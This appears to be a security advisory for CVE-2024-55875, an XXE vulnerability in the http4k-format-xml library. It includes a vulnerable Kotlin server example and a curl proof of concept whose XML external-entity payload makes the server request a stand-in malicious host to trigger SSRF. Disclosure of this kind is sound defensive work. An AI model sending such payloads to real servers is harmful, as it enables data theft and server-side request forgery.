CVE-2024-55875 – org.http4k:http4k-format-xml

Package

Manager: maven
Name: org.http4k:http4k-format-xml
Vulnerable Version: >=5.0.0.0 <5.41.0.0 || >=0 <4.50.0.0

Severity

Level: Critical

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

EPSS: 0.01849 pctl0.82363

Details

http4k has a potential XXE (XML External Entity Injection) vulnerability ### Summary _Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._ There is a potential XXE(XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances. ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ https://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46 XML contents is parsed with DocumentBuilder without security settings on or external entity enabled ### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._ #### Example Vulnerable server code: ``` import org.http4k.core.* import org.http4k.format.Xml.xml import org.http4k.server.Netty import org.http4k.server.asServer import org.w3c.dom.Document fun main() { val xmlLens = Body.xml().toLens() // Create an HTTP handler val app: HttpHandler = { request -> try { // Parse the incoming XML payload to a Document object val xmlDocument: Document = xmlLens(request) // Extract root element name or other details from the XML val rootElementName = xmlDocument.documentElement.nodeName // Create a response XML based on the extracted information val responseXml = """ <response> <message>Root element is: $rootElementName</message> </response> """.trimIndent() // Respond with XML Response(Status.OK).body(responseXml).header("Content-Type", "application/xml") } catch (e: Exception) { // Handle invalid XML or other errors Response(Status.BAD_REQUEST).body("Invalid XML: ${e.message}") } } // Start the server val server = app.asServer(Netty(9000)).start() println("Server started on http://localhost:9000") } ``` #### Maven dependency: ``` <dependencies> <dependency> <groupId>org.jetbrains.kotlin</groupId> <artifactId>kotlin-test-junit5</artifactId> <version>1.9.0</version> <scope>test</scope> </dependency> <dependency> <groupId>org.junit.jupiter</groupId> <artifactId>junit-jupiter-engine</artifactId> <version>5.10.0</version> <scope>test</scope> </dependency> <dependency> <groupId>org.jetbrains.kotlin</groupId> <artifactId>kotlin-stdlib</artifactId> <version>1.9.0</version> </dependency> <dependency> <groupId>org.http4k</groupId> <artifactId>http4k-core</artifactId> <version>5.40.0.0</version> </dependency>  <dependency> <groupId>org.http4k</groupId> <artifactId>http4k-format-xml</artifactId> <version>5.40.0.0</version> </dependency>  <dependency> <groupId>org.http4k</groupId> <artifactId>http4k-server-netty</artifactId> <version>5.40.0.0</version> </dependency> </dependencies> ``` #### Exploit payload example to trigger SSRF `curl -X POST http://localhost:9000 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"https://replace.with.your.malicious.website/poc\">]><root>&xxe;</root>"` ### Impact _What kind of vulnerability is it? Who is impacted?_ The servers that employ this XML parsing feature of http4k are vulnerable to this XXE vulnerability

Metadata

Created: 2024-12-12T19:22:01Z
Modified: 2024-12-12T22:31:40Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/12/GHSA-7mj5-hjjj-8rgw/GHSA-7mj5-hjjj-8rgw.json
CWE IDs: ["CWE-200", "CWE-611", "CWE-918"]
Alternative ID: GHSA-7mj5-hjjj-8rgw
Finding: F083
Auto approve: 1